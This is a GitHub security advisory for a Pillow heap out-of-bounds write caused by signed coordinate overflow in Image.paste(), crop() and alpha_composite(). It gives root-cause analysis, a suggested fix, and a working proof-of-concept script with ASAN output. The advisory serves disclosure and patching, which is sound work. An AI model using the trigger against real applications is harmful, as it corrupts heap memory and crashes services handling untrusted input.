GHSA-6R8X-57C9-28J4
Vulnerability from github – Published: 2026-07-20 23:09 – Updated: 2026-07-20 23:09Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.
Minimal public API trigger:
from PIL import Image
INT_MIN = -(1 << 31)
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)
Details
src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:
self.im.paste(source, box)
src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():
int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);
src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:
xsize = dx1 - dx0;
ysize = dy1 - dy0;
if (dx0 + xsize > imOut->xsize) {
xsize = imOut->xsize - dx0;
}
With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.
For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:
dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.
The primitive scales with the attacker-controlled source width:
source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)
C destination offset = -4 * W
C memcpy size = 4 * W
write range = [row_start - 4W, row_start)
Examples for RGBA:
W = 2 -> writes 8 bytes before the row
W = 1024 -> writes 4096 bytes before the row
W = 65536 -> writes 256 KiB before the row
W = 1000000 -> writes about 4 MiB before the row
Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))
Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.
#!/usr/bin/env python3
import argparse
import sys
from PIL import Image
INT_MIN = -(1 << 31)
def rgba_pattern(width):
out = bytearray()
for i in range(width):
out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
return bytes(out)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"variant",
choices=("paste", "crop", "alpha"),
nargs="?",
default="paste",
)
parser.add_argument("-w", "--width", type=int, default=2)
args = parser.parse_args()
width = args.width
src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
if args.variant == "paste":
box = ((1 << 31) - width, 0, INT_MIN, 1)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=paste box={box}")
print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
sys.stdout.flush()
dst.paste(src, box)
print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop":
left = INT_MIN + width
box = (left, 0, left + width, 1)
print(f"variant=crop box={box}")
sys.stdout.flush()
out = src.crop(box)
print("crop returned; output:", out.tobytes().hex())
else:
dest = (INT_MIN + width, 0)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=alpha dest={dest}")
sys.stdout.flush()
dst.alpha_composite(src, dest=dest)
print("alpha_composite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if __name__ == "__main__":
main()
Run against an ASAN build:
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py paste
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py crop
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py alpha
Observed ASAN signature for the direct Image.paste() path:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:
double free or corruption (out)
Aborted (core dumped)
Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons:
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
return ImagingError_ValueError("bad box");
}
ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59199"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T23:09:53Z",
"nvd_published_at": "2026-07-14T16:17:01Z",
"severity": "HIGH"
},
"details": "### Summary\n\nPillow\u0027s public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 \u003c\u003c 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 \u003c\u003c 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", \u0026source, \u0026x0, \u0026y0, \u0026x1, \u0026y1, ...);\nstatus = ImagingPaste(self-\u003eimage, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize \u003e imOut-\u003exsize) {\n xsize = imOut-\u003exsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut-\u003eimage[y + dy] + dx, imIn-\u003eimage[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 \u003c\u003c 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size = 4 * W\nwrite range = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2 -\u003e writes 8 bytes before the row\nW = 1024 -\u003e writes 4096 bytes before the row\nW = 65536 -\u003e writes 256 KiB before the row\nW = 1000000 -\u003e writes about 4 MiB before the row\n```\n\nPillow\u0027s image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 \u003c\u003c 31)\n\n\ndef rgba_pattern(width):\n out = bytearray()\n for i in range(width):\n out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n return bytes(out)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"variant\",\n choices=(\"paste\", \"crop\", \"alpha\"),\n nargs=\"?\",\n default=\"paste\",\n )\n parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n args = parser.parse_args()\n\n width = args.width\n src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n if args.variant == \"paste\":\n box = ((1 \u003c\u003c 31) - width, 0, INT_MIN, 1)\n dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n print(f\"variant=paste box={box}\")\n print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n sys.stdout.flush()\n dst.paste(src, box)\n print(\"paste returned; first row:\", dst.tobytes().hex())\n\n elif args.variant == \"crop\":\n left = INT_MIN + width\n box = (left, 0, left + width, 1)\n print(f\"variant=crop box={box}\")\n sys.stdout.flush()\n out = src.crop(box)\n print(\"crop returned; output:\", out.tobytes().hex())\n\n else:\n dest = (INT_MIN + width, 0)\n dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n print(f\"variant=alpha dest={dest}\")\n sys.stdout.flush()\n dst.alpha_composite(src, dest=dest)\n print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 \u003c 0 || ysize64 \u003c 0 || xsize64 \u003e INT_MAX || ysize64 \u003e INT_MAX) {\n return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn-\u003exsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.",
"id": "GHSA-6r8x-57c9-28j4",
"modified": "2026-07-20T23:09:53Z",
"published": "2026-07-20T23:09:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59199"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/9703"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.